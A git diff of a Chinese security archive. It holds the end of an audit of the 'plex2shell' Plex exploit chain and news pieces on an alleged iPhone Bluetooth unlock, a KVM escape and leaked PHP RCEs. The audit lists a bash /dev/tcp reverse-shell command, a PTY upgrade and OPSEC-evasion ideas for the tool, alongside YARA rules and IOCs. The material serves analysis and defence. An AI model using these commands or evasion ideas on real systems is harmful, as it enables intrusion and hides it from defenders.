urllib.parse.quote(s, safe="")
全编码（含 /）
双重编码
urllib.parse.urlencode(params, quote_via=quote)
查询串编码
PUT /:/prefs
open("/dev/tty","w")
绕过 stdout 重定向
进度条
types.SimpleNamespace(...)
临时参数对象
sargs
with redirect_stdout(log):
上下文管理器
阶段日志
data[:4] != b"\x7fELF"
magic 校验
payload 校验
frame * 3
重复字节序列
三帧载体
re.search(rb'...', body)
字节正则
set-id 提取
+### 11.2 Bash / 检测脚本 + +
语法
用途
例子
set -u
未定义变量报错
狩猎脚本开头
LC_ALL=C
稳定排序/字节比较
同上
while IFS= read -r -d '' f; do ...; done < <(find ... -print0)
安全处理含空格/换行文件名
Plex 路径含空格
$(cd "$(dirname "$0")" && pwd)
脚本自定位
SELF_DIR
getopts "a:y:Ph"
短选项解析
狩猎脚本
printf '%s\n%s\n' a b \| sort -V \| head -1
版本比较
version_lt
grep -aoE
只取匹配、按文本处理二进制
日志提取
od -An -v -tx1
十六进制 dump
magic 检查
tr -s ' ' '\n' \| sort -u \| head -2 \| wc -l
判断"尾部是否单一字节"
tail_uniform
stat -c %s/%y/%U
大小/时间/属主
取证
readlink /proc/$pid/exe
进程真实路径
proc_name
${e% (deleted)}
去掉后缀
处理 deleted
tr '\0' ' ' < /proc/$pid/cmdline
读命令行
进程检查
tr '\0' '\n' < /proc/$pid/environ
读环境变量
空 PATH 检测
awk '{$1=$2=$3=$4=$5=""; print}'
去掉 maps 前五列
映射检查
find ... -print0
 + read -d ''
空字符分隔
防空格
2>/dev/null
静默错误
大量使用
\r\033[K
清行 + 回车
进度条
exec 0<>/dev/tcp/IP/PORT
bash 内建 TCP
反弹 shell
script -qc /bin/bash /dev/null
分配 PTY
交互升级
setsid ... &
新会话后台
脱管
+### 11.3 YARA + +
语法
用途
uint32(0) == 0x464C457F
ELF magic
uint16(0) == 0x5A4D
PE magic
elf.type == elf.ET_DYN
共享对象
for none i in (0 .. elf.dynamic_section_entries - 1) : (...)
断言无 DT_NEEDED
for all i in (0 .. elf.number_of_segments - 1) : (...)
所有段不覆盖尾部
math.entropy(offset, length)
尾部熵
math.count(0x80, offset, length)
统计填充字节
hash.md5(offset, length)
重复块比对
pe.overlay.size
PE overlay
pe.exports("RunShell")
导出符号
for any i in (1 .. #fork)
多匹配遍历
@exec[j] - @fork[i] < 256
指令邻近度
2 of them
 / all of them
字符串集合
nocase
大小写不敏感
filesize % 345600 == 0
几何特征
+## 12. AI 辅助设计：头脑风暴与多版本对比 +> 作者在 write-up 里明确说：用 LLM 做 **Recon → Hunt → Verify → Chain** +，但"判断和优先级是人做的"。下面把这个方法拆成可复用的设计。 + +### 12.1 AI 辅助的四阶段 + +
阶段
给 AI 的输入
要 AI 产出
人负责什么
Recon
架构文档/二进制符号/路由表
组件图、输入→sink 清单
划定边界、去重、判断可达性
Hunt
单个组件 + sink 清单
候选漏洞、触发条件
排除误报、判断可利用性
Verify
候选 + 反证要求
"反方论证"（为什么它不成立）
决定是否继续
Chain
已确认原语列表
组合路径、影响评估
选最大影响链、控制风险
+ +**关键** +：Verify 阶段要"让 AI 试图推翻"，而不是"让 AI 确认"。这能显著降低幻觉。 +### 12.2 方案对比（同一目标，不同打法） + +
方案
路径
前置
噪声
可靠性
适用
A 全链直连
SSRF → token → 写 → 执行
目标可回连 + DNS
高（SSRF/转码/日志）
中（依赖 sslip.io/时序）
授权红队、一次性
B 预捕获 token
跳过 SSRF，直接 --token
已有 owner token
低（只有 prefs/转码）
高（少两跳）
已控 token、复测
C 仅验证 SSRF
只打 timeline，不拿 token
无
中
高
漏洞验证/报告
D 仅验证文件写
有 token，只做 dump-yuv
owner token
低
高
验证 96655/96656
E 检测优先
不利用，跑 YARA/hunt
无
无
高
蓝队、应急
F 纯静态
读源码/补丁
无
无
高
研究、报告
+ +**选择建议** +： +- 授权红队且要"完整战果"：A（或 B 如果已有 token）。 + +- 只做漏洞验证：C/D，减少影响面。 + +- 蓝队/应急：E。 + +- 写报告/研究：F + 公开 write-up。 + +### 12.3 设计迭代思路（如果要做"二代"） + +
改进点
现状
建议
端口可配置
硬编码 8952/8933/9001
加 --token-port/--carrier-port/--lport
DNS 备选
只用 sslip.io
支持 nip.io、自建 DNS、--dns-suffix
可靠性
固定 sleep(10)
轮询 Codecs 文件出现/大小稳定
错误恢复
--setid
/--geometry 未定义
补全参数
多目标
单目标
内置队列 + 命名空间隔离
载体
固定 640×360
自动选择最小可行几何
检测
已有 YARA/hunt
加 Sigma/EDR 规则、网络 IDS 规则
OPSEC
日志可预测
随机日志名、内存日志、退出清理
+### 12.4 AI 辅助的边界 +- AI 擅长：枚举、模式匹配、生成候选、写检测规则、整理报告。 + +- AI 不擅长：判断"这个输入是否真的可达"、评估业务影响、决定是否值得打。 + +- 结论：**AI 做广度，人做深度与决策** +。作者的 write-up 也是这个立场。 + +## 13. 结论与局限 +### 13.1 结论 +1. plex2shell + 是一个**高质量、产品化** +的漏洞链 PoC：分阶段 UI、跨平台、载体自校验、清理逻辑、检测包齐全。 + +1. 它的核心不是"某个单点漏洞"，而是**四个中低危缺陷的组合** +：存在性鉴权 → loopback 信任 → 前缀匹配 + DNS 解析差 → 调试选项任意写 → 无签名加载。 + +1. 技术上有两个真正的"亮点"： + +1. **lossless H.264 YUV 作为二进制载体** +（qp=0 + + dump-yuv +）； + +1. **127.0.0.1 前缀 + sslip.io** + 的认证/解析差。 + +1. 防御上，单看 CVE 分值会低估风险；必须按"链"评估，并优先处理"可组合的低危"。 + +1. 工具本身有若干工程缺陷（--setid +/--geometry + 未定义、端口硬编码、固定 sleep），不影响默认环境主链，但影响非默认环境的可靠性。 + +### 13.2 局限 +- 本报告是**静态审计** +：未在真实 Plex 实例上复现，所有"执行"描述基于公开 write-up + 源码 + 官方通告。 + +- 未验证 Windows/NAS/macOS 分支的实际可用性；PLATFORMS + 只覆盖三种。 + +- 未对 Plex 二进制做逆向（avpriv_load_new_libs +、hasParam + 等来自作者 write-up，未独立复核字节级实现）。 + +- CVE 分值以 NVD 为准；不同来源（Censys/CSH）有差异，已在文中标注。 + +## 附录 A：IOC 与映射 +### A.1 主机 IOC + +
类型
值
文件路径
<AppSupport>/Codecs/<setid>-<platform>/zz<digits>.so
文件路径
<AppSupport>/Codecs/<setid>-windows-x86_64/hevc_decoder.dll
文件特征
ELF/PE + 尾部 ≥64 KiB 单一 0x80；大小常为 345600 的倍数
配置
Preferences.xml
 的 TranscoderH264Options 含 dump-yuv= 或 stats=
进程
Plex Transcoder
 子进程为 shell；/dev/tcp；script -qc；plex 用户无 PATH
内存
/proc/<pid>/maps
 有 (deleted) 的 Codecs 文件
+### A.2 网络 IOC + +
类型
值
域名
*.sslip.io
、*.nip.io（尤其 127.0.0.1.* 前缀）
请求
/player/timeline/subscribe?...protocol=<URL>
请求
/system/agents/*/searchOne?...identifier=...%2Ffunction%2F...
请求
PUT /:/prefs?TranscoderH264Options=dump-yuv=...
请求
/video/:/transcode/universal?...path=http(s)://...
端口
8952（token）、8933（媒体）、9001（反弹）
+### A.3 MITRE ATT&CK + +
战术
技术
Initial Access
T1190 Exploit Public-Facing Application
Credential Access
T1552 Unsecured Credentials（token 泄露）
Valid Accounts
T1078（owner token 复用）
Execution
T1059.004 Unix Shell / T1059.003 Windows Command Shell
Ingress Tool Transfer
T1105
Hijack Execution Flow
T1574（Codecs 目录加载）
Resource Hijacking
T1496（在野挖矿）
Proxy
T1090（在野 proxyware）
Indicator Removal
T1070（清偏好、删 .so）
+## 附录 B：关键源码索引 + +
功能
位置
参数定义
plex2shell.py:619-629
平台表
plex2shell.py:115-134
Linux payload 构建
plex2shell.py:150-163
Windows payload 构建
plex2shell.py:166-181
载体构建 + 自校验
plex2shell.py:190-220
反弹命令
plex2shell.py:223-225
item.xml 模板
plex2shell.py:231-237
媒体 HTTP 服务
plex2shell.py:240-305
token 捕获器
plex2shell.py:311-350
Plex HTTP 辅助
plex2shell.py:354-412
token 窃取
plex2shell.py:416-455
Windows 协议
plex2shell.py:459-484
PTY 交互
plex2shell.py:524-574
单命令执行
plex2shell.py:578-614
主流程
plex2shell.py:618-782
Linux payload
payload_linux.c:1-17
Windows payload
payload_windows.c:1-97
YARA
detection/yara/plex2shell.yar
狩猎脚本
detection/hunt/plex2shell-hunt.sh
回归测试
detection/tests/run_tests.sh
+## 附录 C：参考 +1. 作者 write-up：https://zmain.info/blog/plex2shell + +1. 仓库：https://github.com/code-zm/plex2shell + +1. NVD CVE-2026-96652 / -96654 / -96655 / -96656 + +1. CISA KEV（2026-10-20） + +1. Censys Rapid Response 通告（2026-10-20） + +1. Plex 安全公告（2026-09-01，2026-10-19 更新） + +1. BoredHackerBlog 蜜罐观测（2026-10） + +> **交付说明** +：本报告为静态技术分析，未对任何真实目标发起连接。文中的利用步骤用于理解与防御验证；实网使用需书面授权。分析过程中拉取的 GitHub 仓库已在交付后删除。 + + + diff --git a/doc/2026-10/Cellebrite手握iPhone无线电0day漏洞？8米内隔空解锁设备.md b/doc/2026-10/Cellebrite手握iPhone无线电0day漏洞？8米内隔空解锁设备.md new file mode 100644 index 00000000..58fff526 --- /dev/null +++ b/doc/2026-10/Cellebrite手握iPhone无线电0day漏洞？8米内隔空解锁设备.md @@ -0,0 +1,126 @@ +# Cellebrite手握iPhone无线电0day漏洞？8米内隔空解锁设备 +原创 黑鸟 + 黑鸟 黑鸟 2026-10-21 15:44 + +有相关人士拿到了一份Cellebrite内部文档，标着CONFIDENTIAL，描述了一种"突破性方法"： +能对iPhone 11到16全系列机型、在iOS 26至26.4+上实现AFU(After First Unlock)级别的数据提取。 + +AFU这个概念在移动取证圈子里分量很重，它意味着用户首次解锁设备之后，取证工具可以绕过锁屏密码直接读取设备内的加密数据，是最核心的能力指标之一。 + +Cellebrite给这项技术取名Advanced Unlocks，以下简称AU。 + +别跟他们卖了多年的那个"advanced unlocking services"搞混，这是一条全新的产品线，今年早些时候的一份官方新闻稿已经证实AU是2026年的新东西。 +# AU到底是什么 + +Cellebrite的宣传单页长这样： + +![](https://mmbiz.qpic.cn/mmbiz_png/ibO9kiauylaDpNNTdYWRjrB6rdxVtKOhQhuyYH6JPbmr8l4yqk6Dn38ibOaUMT379MYdwtrHLDZy2aIoe5lvJQJJMwD8ICw2OmaRttCgicmFSbY/640?wx_fmt=png&from=appmsg "") + +Cellebrite Advanced Unlocks宣传页 + +AU产品宣传页，2026年9月15日修订版 + +按照Cellebrite的说法，AU具备以下特性： + +它是一种"下一代AFU提取向量，对Apple操作系统变更具有更强的抗性"。意思就是Apple更新iOS之后传统取证手段往往会失效，但AU号称更耐折腾。 + +它能在Stolen Device Protection(被盗设备保护)开启的情况下正常工作。这个功能是Apple在iOS 17.3引入的，开启后会收紧USB接口的限制策略，对依赖USB通道的取证工具来说是道硬门槛。 + +AU由一台专用设备驱动，标称有效距离约8米。 + +没看错，8米。 + +一个取证工具，有效距离8米。这不像是传统意义上的USB取证设备，更像是一种基于近距离无线电能力的东西。 + +这份文档最早写于2026年3月，最后一次修订是9月15日。一个很显眼的缺失：iPhone 17和Air完全不在支持列表里，而这两款机型已经发售差不多一年了(18 Pro还没上市)。 +# 为什么是蓝牙 + +AU的支持范围覆盖11到16全系列，却唯独缺少17系列。三次修订、跨越六个月，这个名单始终没变，看起来更像是一堵墙而不是一个还没做完的待办事项。 + +要搞明白这堵墙，得先知道AU走的是哪条通道。 + +Modem(基带)和NFC都试过，对不上号，Bluetooth(蓝牙)才是最吻合的选项。原因很直接：Apple官方给出的蓝牙有效范围大约10米，和AU标称的8米高度吻合。 + +有一段时间，所有支持AU的iPhone都搭载Broadcom(博通)的蓝牙芯片，所以一度认定这是一个特定芯片家族的漏洞。后来又倾向于认为这是一条硬件无关的Bluetooth到UWB链路。但精确锁定AU依赖的具体漏洞，在当时看来可行性不大。 + +后来AU的iOS支持开始掉队，这才有了突破口。 + +"26.4+"这个写法也许只是"更新的版本也行，信我们"的意思，但AU明确声明支持的最高iOS版本和当时最新的iOS之间的差距一直在拉大： +文档修订日期AU声称支持的最高iOS当时最新iOS落后版本数3月18日26.3+26.3.1(3月4日发布)05月20日26.4.226.5(5月11日发布)19月15日26.4+26.7/27(9月14日发布)3个版本，加上iOS 27+ + +如果某个iOS更新确实干掉了AU，那它最可能是在26.5里修复的。 +# bluetoothd里藏了什么 + +把iOS 26.4(build 23E246)和26.5(build 23F77)的bluetoothd二进制拉出来做了diff。bluetoothd是iOS上管所有蓝牙连接的守护进程，权限很高，持有一大堆entitlements(权限声明)。 + +26.5版本里这个守护进程冒出了一组安全相关的修改，全部集中在L2CAP(Logical Link Control and Adaptation Protocol，逻辑链路控制与适配协议)层。L2CAP是蓝牙协议栈的多路复用层，卡在蓝牙无线电硬件和上层应用协议中间，负责信令交互、数据分段和重组。 + +用一张协议栈层次图来理解： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDqfG7kaYU0UicDXsVHtBFx9VdkcUExNwOGVbujW0E5bQb3hHMibcTQhMKREZTqsEjSibZk4bZlV7oOyg6822tymeQBXxo4BxibL9fk/640?wx_fmt=png&from=appmsg "") + +关键点在于，L2CAP信令PDU(Protocol Data Unit，协议数据单元)的处理发生在设备配对之前。任何处于BLE(Bluetooth Low Energy)范围内的设备都可以发这些数据包，不需要用户交互，不需要配对，不需要点任何弹窗。 + +这些修改里，一个修复格外显眼：L2CAP channel manager中的UAF(Use-After-Free，释放后重用)漏洞。处理聚合L2CAP数据包的接收循环会遍历所有连接，调用各自的PDU处理函数。26.4版本中，如果某个处理函数在迭代过程中释放了自己对应的连接对象，循环还拿着悬空指针(dangling pointer)继续跑，典型的内存漏洞利用形态，把memory bug变成代码执行能力。 + +这个漏洞代码至少从iOS 17(2023年9月)就存在了，在iOS 18时期Apple重构了L2CAP连接管理器之后，可能变得更容易被利用。 + +26.5还收紧了L2CAP的其他几条路径，包括信令解析器的边界检查和传输切换验证，但这些都不像是AU的候选入口。 + +加固没停在26.5。26.6在蓝牙协议栈其他位置(HCI事件处理)又加了边界检查，iOS 26.7和iOS 27修了[1]，一个没署名的蓝牙RCE(Remote Code Execution，远程代码执行)，恰好也落在同一个聚合数据包接收路径上，位置还更靠前。26.5刚加固过的代码，两个版本后又冒出一个RCE，Apple真的把所有洞都堵上了？ +# 推测的完整利用链 + +碎片拼起来，AU的理论利用链大概长这样： + +第一步：Over the Air(无线注入) + +向目标设备发送精心构造的蓝牙L2CAP信令数据包。这一步发生在任何身份认证之前，不需要配对，不需要用户操作。攻击者只需要待在目标设备的蓝牙范围内。 + +第二步：Into the Daemon(攻入守护进程) + +触发UAF漏洞劫持bluetoothd进程，执行攻击者控制的代码。第一和第二步构成了AU的核心机密。在MIE(Memory Integrity Enforcement，内存完整性执行)设备上，这一步大约有94%的概率会被拦截。失败会导致bluetoothd崩溃并重置BLE连接，但在实验室环境下，攻击者可以反复尝试几分钟直到成功。 + +第三步：Into the Kernel(进入内核) + +从守护进程提权到内核控制。bluetoothd持有与多个内核驱动的直接IOKit连接，任何一个都可能是逃出沙盒的路径。这一步虽然重要，但跟前两步比起来技术含量相对常规。MIE同样可能在这一步构成阻碍，而且这里失败的代价更高：kernel panic(内核恐慌)会重启设备，重启后进入BFU(Before First Unlock)状态，AFU期间保存在内存中的加密密钥就全没了。 + +第四步：Out the Door(数据出门) + +拿到内核控制权之后，大部分文件内容和一部分加密密钥就暴露了。USB Restricted Mode(USB限制模式)可以被解除，设备通过USB接口完成镜像提取。不需要破解锁屏密码，到了这一步，密码已经不太重要了。 +# 硬件代差：为什么iPhone 17不行 + +AU支持的机型列表(11到16)连续三次修订都不包含17系列，这说明问题出在硬件层面而非软件适配进度。 + +对比一下iPhone 16之后发生了什么变化： +变化项17/17 Pro/Air17e能解释AU的缺失吗蓝牙芯片Apple N1取代Broadcom仍然是Broadcom不能，17e沿用了BroadcomMIE(内存完整性执行)支持支持能，所有缺失机型都支持 +  + +如果AU依赖的是Broadcom芯片的特定组件，17e应该被支持才对，因为它没有换掉蓝牙芯片。 + +MIE是唯一一个覆盖所有缺失机型的变量。它让内存损坏类漏洞变得更难利用，覆盖范围包括内核和多个用户态进程，bluetoothd正在其中。MIE设备和非MIE设备上运行的bluetoothd二进制文件在同一iOS版本下逐字节相同，拦截发生在硬件层面而非代码层面。 + +MIE使用4位内存标签(memory tag)。攻击者盲猜标签成功的概率是1/16，也就是大约6.25%。换算一下，每次尝试被拦截的概率约94%。这不是一个绝对的防御，在实验室里多试几次总能碰上好运，但它确实大幅提高了利用门槛。 + +另一份2026年3月的Cellebrite文档(此处不予公开)把"iPhone 11到16运行iOS 26+"明确归因于AU能力，而把iPhone 17列在了Inseyets通用能力(同意提取等常规取证手段)之下。17系列不是Cellebrite碰不了，而是AU这种方法在它身上不管用。 + +一个全新的硬件级防御恰好撞上了号称"不怕软件补丁"的AU，这个时间巧合挺有意思。 +# Apple的沉默 + +iOS 26.5悄悄修复了一个可以通过无线电远程利用的严重漏洞，但Apple在安全公告中对此只字未提。 + +有时候Apple会事后补充安全公告，或者提到某个补丁但不致谢发现者，通常意味着漏洞是内部发现的。这次两样都没做。26.5安全公告里倒是有条模糊的CoreBluetooth致谢，没有CVE编号，但那修的是framework(框架)层，位置更靠上，跟守护进程不是一回事。而且这条致谢还是事后补上去的。 + +Apple也不是头一回这么干了。一个严重漏洞被悄悄修掉，没有任何公开讨论，你很难不想：还有多少类似的修复是我们不知道的？ +# Cellebrite为什么要把事情说破 + +Apple通常在安全公告里披露漏洞修复，Cellebrite通常把技术细节藏在闭门会议里，这份文档自己就写着"完整信息仅在会议中分享"。但这次角色反转了。 + +Cellebrite的处境其实不难理解：iPhone平均安全水位不断升高，含含糊糊说"我们能解锁iPhone"已经不够有说服力了，checkm8这类曾经的主力利用手段在2026年早就过了保质期。Apple的安全加固正在拿到回报，USB接口这个取证主战场越来越难打，攻击者被逼着往更不好走的路径上挤。 + +Cellebrite需要在市场上证明技术实力，不能光靠一句"信我"。但他们宣传AU"对Apple操作系统变更具有更强抗性"，结果iOS 26.5发布几个月后AU就哑火了，这打脸来得挺快。 + +Apple这边也有自己的尴尬。蓝牙这条前线是不是也守不住了？下一场攻防战会在哪里打响？这些问题，大概没有谁愿意公开回答。 + +相关阅读：[iOS 27.0.1完整攻击链：从消息一键RCE到Chollima持久化越狱](https://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451189367&idx=1&sn=44342bec2538bd6384c4b87bf94b62f7&scene=21#wechat_redirect) + + diff --git a/doc/2026-10/KVM逃逸漏洞暴露Linux网络栈更广攻击面，影响多类虚拟化场景.md b/doc/2026-10/KVM逃逸漏洞暴露Linux网络栈更广攻击面，影响多类虚拟化场景.md new file mode 100644 index 00000000..205d36dc --- /dev/null +++ b/doc/2026-10/KVM逃逸漏洞暴露Linux网络栈更广攻击面，影响多类虚拟化场景.md @@ -0,0 +1,116 @@ +# KVM逃逸漏洞暴露Linux网络栈更广攻击面，影响多类虚拟化场景 + FreeBuf 2026-10-21 10:00 + +![FreeBuf](https://mmbiz.qpic.cn/mmbiz_gif/icBE3OpK1IX1RInVUJUhMSR6ZTZSZUP2SoxDFNXkEx9yzpgiaQ98giaOIlTysibP2dgKoibFTibrvPFF0IibFk1tlwYXFHKrmFFn3ibBM73icac7uxR4/640?wx_fmt=gif "") + + +![image](https://mmbiz.qpic.cn/mmbiz_jpg/icBE3OpK1IX2EPf2vTic0wicweZvFY3dlmQzlXzNg6e9oib9HibJp6YNpFQ1CyDMlyMzcV1GFdh7ostJds58ZkvPrqSm1pQEEWCEEibmKmCLiaxnhA/640?wx_fmt=jpeg&from=appmsg "") + + +Part +01 + +PwnEscape漏洞引发KVM逃逸风险 + + +安全研究人员在Linux内核网络栈中发现一个严重漏洞，攻击者可借此逃逸KVM虚拟机，在主机系统上执行代码。该漏洞还可能波及其他基于Linux的虚拟化与沙箱平台。 + + +该漏洞追踪编号为CVE-2026-99999，命名为PwnEscape，由AI驱动的渗透测试初创公司Pwn.ai的研究人员发现。发现场景是一场奖金100万美元的Vercel沙箱平台破解挑战，Vercel的沙箱基于KVM架构的Firecracker微虚拟机搭建。 + + +此次攻击并未利用KVM hypervisor本身的漏洞，而是瞄准Linux系统中负责处理虚拟机内部流量的网络代码。攻击者会构造特殊数据包，在内核完成IPv4头校验后篡改报文内容。这种篡改会让内核的后续处理流程，信任攻击者恶意修改过的数据包数据。 + + +研究人员在Vercel生产环境沙箱中成功演示了主机内存泄露，又在自主可控的测试系统上实现了主机崩溃与root权限代码执行。Vercel已确认漏洞存在，但表示目前没有证据显示攻击者访问过客户文件、密钥或应用数据。 + + +目前Linux主线内核已合入漏洞修复代码，多个Linux发行版已提供修复后的内核版本。管理员必须在主机系统上部署这些内核更新，仅升级客户机系统无法修复该漏洞。 + + +Part +02 + +校验和处理逻辑存在缺陷 + + +漏洞涉及校验和卸载机制，这是Linux系统中的一项性能优化功能，可以延后计算数据包的校验和。内核会随数据包携带元数据，指定校验和计算的起始位置与结果写入地址，但在虚拟网络场景下，这些指令可能来自不可信的客户机系统。 + + +存在漏洞的实现逻辑没有做防护，无法保证校验和计算完成后，已通过校验的IPv4报文头不会被改动。这意味着客户机可控的元数据可以直接写入IPv4报文头，在数据包被分片传输前，修改报头中声明的数据包长度。 + + +在演示过程中，研究人员将报文头声明的长度从20字节修改为60字节，但当时数据包缓冲区中仅存储了28字节的有效数据。后续分片流程会将有效数据边界外的32字节内容复制到出站数据包中，造成主机内存信息泄露。 + + +通过重复触发该流程，研究人员可以观测内存状态、控制内存分配，最终实现主机内核内存写入。借助该能力，攻击者可以root权限运行辅助程序。目前从内存泄露到代码执行的完整利用步骤尚未公开，研究人员计划单独发布技术分析文章。 + + +研究人员表示："涉及分配器敏感的写入链、对象生命周期控制以及其他hypervisor特定适配的内容体量较大，需要单独成文。我们认为安全行业会借助本次公开的内容排查其他受影响的hypervisor，预计弱配置场景下的利用代码几周内就会出现，默认hypervisor配置下的利用代码会在一个月内出现。" + + +Part +03 + +漏洞攻击面超出KVM范围 + + +PwnEscape与以往针对hypervisor虚拟CPU或内存处理逻辑的虚拟机逃逸攻击不同。比如今年早些时候披露的Januscape漏洞，影响的是KVM的内存管理代码，但本次漏洞的问题代码位于Linux主机的IPv4网络子系统。 + + +研究人员警告，网络栈中只要存在"字段已通过校验、但客户机可控元数据仍能修改数据包字段"的场景，就可能存在同类漏洞。 + + +本次合入主线的补丁由红帽（Red Hat）开发者Michael S. Tsirkin编写，在5个校验和完成节点新增校验逻辑。这些校验点覆盖IPv4分片、网桥连接跟踪、数据包过滤等场景。补丁提交说明提到："后续会在数据包输入阶段实现更完善的校验，目前相关工作还在推进中。" + + +该漏洞对其他hypervisor和容器技术的影响目前尚不明确。红帽已将OpenShift Container Platform列为受影响产品，Docker、Xen等其他虚拟化技术目前尚未发布相关安全公告。 + + +这种从客户机到主机的攻击，需要攻击者控制的工作负载能通过虚拟网络发送畸形流量。因此，允许在虚拟机内运行不可信代码的环境管理员，需要尽快采取修复措施。 + + +容器安全厂商Edera首席技术官兼联合创始人Alex Zenla在接受CSO采访时表示："KVM本身运行在Linux内核内部，因此这类虚拟机逃逸本质上也属于内核漏洞，影响要比普通内核漏洞严重得多。攻击者从客户机突破后，并不会进入一个边界清晰的独立hypervisor层，而是直接落到操作系统的最底层，掌控主机的所有进程、驱动和网络栈。这类漏洞风险极高，和那种特意设计了极小特权层的hypervisor的安全模型完全不同。" + + +今年以来，KVM及其他内核态虚拟化组件已经出现多个严重漏洞，其中包括PwnEscape在内的部分漏洞是借助LLM发现的。同时测试中也观测到AI Agent尝试突破沙箱的行为，这对虚拟化环境的工作负载隔离假设提出了挑战。 + + +Zenla表示："安全架构设计必须假设系统总有被攻破的可能，要确保单点失陷不会导致整个主机被完全控制。" + + +AWS托管的EC2、Lambda、Fargate服务不受CVE-2026-99999影响。如果用户在存在漏洞的主机上自行部署使用virtio-net网络的KVM虚拟机，需要安装对应的内核更新。管理员应遵循所用发行版的安全公告，因为补丁可能被反向移植到旧版本内核中。 + + +参考来源： + +KVM escape exposes broader attack surface in Linux networking + +https://www.csoonline.com/article/4004609/kvm-escape-exposes-broader-attack-surface-in-linux-networking/ + +### + +### 推荐阅读 + + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651349044&idx=1&sn=d77f4721bae4ab99397417570be69c4f&scene=21#wechat_redirect) + + +### + +### 电报讨论 + + +[]() + + + +![扫码加入AI安全交流群](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX0Py7ibxdLKXia1pMziaic5vIE9XPXG9OGaeJDa07iaG10eicuzhW59nwpF5msHiaYZvfMqCNkx2aFDiaMzm3oAf4rTaHXU5UAI1mUYgts/640?wx_fmt=png "") + + + +![下载FreeBuf知识大陆APP](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX0TIGzII2Hcmtzu7AJeZFicnqd1mXojVoawje2uLxYqwJbVgzJpmSXzVhrpOsLurRZ2lVa4vfgLBqg7uJKbrKg5F18VzZxVPicZU/640?wx_fmt=png "") + + + + diff --git a/doc/2026-10/PHP 双洞预警：两个 9.2 分 RCE 细节已泄露，补丁今晚 22 点发布.md b/doc/2026-10/PHP 双洞预警：两个 9.2 分 RCE 细节已泄露，补丁今晚 22 点发布.md new file mode 100644 index 00000000..ed525880 --- /dev/null +++ b/doc/2026-10/PHP 双洞预警：两个 9.2 分 RCE 细节已泄露，补丁今晚 22 点发布.md @@ -0,0 +1,146 @@ +# PHP 双洞预警：两个 9.2 分 RCE 细节已泄露，补丁今晚 22 点发布 +原创 Kratos + Kratos Kratos Sec 2026-10-21 11:00 + +PHP 安全团队上周一反常态发了一条预告：两个严重漏洞，双双 CVSS v4.0 9.2，紧急安全 release 定在北京时间 10 月 21 日（今天）22:00。按惯例这种事都是补丁和公告同时落地，这次却提前 24 小时打招呼，让所有用户"现在就开始准备"——因为这个洞的细节在前一天已经泄露了。原定周四的披露计划被打乱，watchTowr 确认漏洞真实且已复现其中一个，一张名为 PHP2Shell 的利用工具截图声称能打 5.4.0 起的所有 PHP 版本。截稿时补丁还有几个小时才发布，在野利用尚未出现——这几个小时就是全部的准备窗口。 +## 0x0 概述 + +
项目
内容
CVE 编号
CVE-2026-109618 / CVE-2026-109619
漏洞类型
远程代码执行（RCE，PHP 核心层面）
评分
两个均为 CVSS v4.0 9.2（官方评定）
影响范围
未经官方确认；泄露方与安全厂商称 PHP 5.4+ 的 Web 服务器全部在射程
补丁发布
2026-10-21 14:00 UTC（北京时间今晚 22:00）
预期修复版本
8.5.12 / 8.4.27 / 8.3.36 / 8.2.35（社区消息，以 php.net 官方公告为准）
在野利用
截稿未确认（Huntress 称其客户环境未见异常）
官方维护范围
仅 8.2–8.5；≤8.1 为 EOL，无官方补丁
+ +两个细节先划重点：第一，这是 PHP **语言本体** +的洞，不是某个框架或 CMS 的洞，WordPress、Drupal、Laravel、Magento、内网老系统——所有跑在 PHP 上的东西共用这一个底层；第二，官方原文写明保留"提前发布"的权利（细节公开或出现利用即触发），所以你看到这篇文章时补丁可能已经落地，版本号以 php.net 为准。 +## 0x1 事件时间线：一次被打乱的协调披露 +- **10 月 20 日** +：php.net 首页挂出"Upcoming Critical PHP Security Release"预告，罕见地提前一天通知全网准备升级； + +- **同日** +：Hacker News 出现帖子，声称两个漏洞即将公开披露。帖子本身很快被删，但截图已在社交网络传开； + +- **watchTowr 随即确认** +：漏洞真实存在，并成功复现了 CVE-2026-109618； + +- **泄露的工具截图** +：一个名为 PHP2Shell 的利用工具（署名 Calif.IO），声称对 5.4.0 起的每一个 PHP 发行版有效； + +- **原定披露时间是周四** +，泄密后 PHP 安全团队把 release 提前到周三 14:00 UTC； + +- **CERT-EU 发布 2026-018 公告** +，SlowMist 等威胁情报渠道跟进转发，国内多家预警平台已开始推送。 + +这是典型的"零日倒计时"局面：补丁 diff 公开的那一刻，攻击者同时拿到漏洞原理。Sansec 的预判很不客气——**发布后 15 分钟内就会出现大规模攻击** +。历史上这类 PHP 核心洞的武器化速度（参照 CVE-2024-4577 当天出现全网扫描）证明这不是危言耸听。 +## 0x2 确认的与未确认的 + +预警文章最忌把传闻当结论，分开列。 + +**已确认：** +- 两个漏洞编号、CVSS v4.0 9.2 评分、今天 14:00 UTC 的发布时间（php.net 官方原文）； + +- watchTowr 独立复现了 CVE-2026-109618； + +- 漏洞位于 PHP 本体，利用发生在应用代码执行**之前** +——Sansec 明确提醒：WAF 规则和应用层防护（包括他们自家 Shield）不能作为依赖，修复只能在基础设施层完成，即升级 PHP 本身。 + +**未确认，但值得知道：** +- **影响版本"5.4+"是泄露方说法** +，官方原文写的是"受影响版本随补丁一同公布"。Sansec 独立给出了"所有 PHP 5.4 及以上的 Web 服务器"的口径，两个来源一致，但严格说还不是官方数字； + +- **根因未公开。** + Sansec 页面的元数据关键词里出现了 session.upload_progress.enabled +、session.use_strict_mode +、php-fpm +——如果属实，指向 session 上传进度和 FPM 相关的路径，但这只是页面关键词，不是分析结论，别据此做定点缓解，等 diff； + +- **修复版本号** + 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 来自社区讨论和 git 动向，最终以官方公告为准。 + +## 0x3 真正的坏消息：EOL 版本没有补丁 + +PHP 官方只维护 8.2–8.5 四个分支。这意味着： +- **8.1 及更早版本（含整个 7.x、5.x）不会有官方修复** +。而泄露工具声称的打击面恰恰是"5.4.0 起的全部版本"——如果属实，EOL 存量就是这个事件里最大的暴露面。现网跑 7.4、5.6 的系统比很多人想象的多，内网 OA、老电商、十年没动的营销页都在其列； + +- **8.2 分支本身将于 2026 年 12 月 31 日 EOL** +，这大概率是它最后几次安全更新，还在 8.2 的应该把升级 8.3+ 排上日程，而不是补完这个洞就完事； + 